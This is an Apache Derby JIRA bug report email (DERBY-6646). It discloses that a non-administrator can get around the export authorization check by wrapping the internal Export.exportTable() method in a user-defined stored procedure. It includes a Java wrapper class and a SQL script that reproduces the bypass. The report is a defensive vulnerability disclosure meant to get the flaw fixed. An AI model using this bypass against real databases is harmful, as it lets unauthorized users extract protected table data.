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From "Rick Hillegas (JIRA)" <j...@apache.org>
Subject [jira] [Created] (DERBY-6646) Applications can bypass the authorization checks on SYSCS_EXPORT_TABLE by calling Export.exportTable() directly
Date Wed, 02 Jul 2014 15:44:26 GMT
Rick Hillegas created DERBY-6646:
------------------------------------

             Summary: Applications can bypass the authorization checks on SYSCS_EXPORT_TABLE
by calling Export.exportTable() directly
                 Key: DERBY-6646
                 URL: https://issues.apache.org/jira/browse/DERBY-6646
             Project: Derby
          Issue Type: Bug
          Components: SQL
            Reporter: Rick Hillegas


By default, only the DBO can call SYSCS_EXPORT_TABLE. But applications can bypass that authorization
check by calling Export.exportTable() directly. 

Here's a repro. First compile this class...

{noformat}
import java.sql.*;
import org.apache.derby.impl.load.Export;

public class ExportWrapper
{
    public  static  void    export
        (
         String schemaName, 
         String tableName, String outputFileName,  
         String columnDelimiter, String characterDelimiter,
         String codeset
         )
        throws Exception
    {
        Connection  conn = DriverManager.getConnection( "jdbc:default:connection" );
        
        Export.exportTable
            ( conn, schemaName, tableName, outputFileName, columnDelimiter, characterDelimiter,
codeset );
    }
}
{noformat}

…then run this script:

{noformat}
connect 'jdbc:derby:memory:db;create=true';

connect 'jdbc:derby:memory:db1;create=true;user=test_dbo';

call syscs_util.syscs_create_user( 'TEST_DBO', 'test_dbopassword' );
call syscs_util.syscs_create_user( 'RUTH', 'ruthpassword' );

-- shutdown in order to enable NATIVE authentication
connect 'jdbc:derby:memory:db1;shutdown=true';

connect 'jdbc:derby:memory:db1;user=ruth;password=ruthpassword' as ruth;

create table t( a int );
insert into t( a ) values ( 1 );

create procedure exportWrapper
(
  in schemaname  varchar(128),
  in tablename varchar(128),
  in filename varchar(32672),
  in columndelimiter char(1),
  in characterdelimiter char(1),
  in codeset VARCHAR(128)
)
language java parameter style java reads sql data
external name 'ExportWrapper.export';

-- ruth lacks privilege to export the table
call syscs_util.syscs_export_table( null, 'T', 'z.dat', null, null, null );

-- but ruth can bypass authorization checks by directly calling Export.exportTable()
-- inside this procedure
call exportWrapper( null, 'T', 'z.dat', null, null, null ); 
{noformat}





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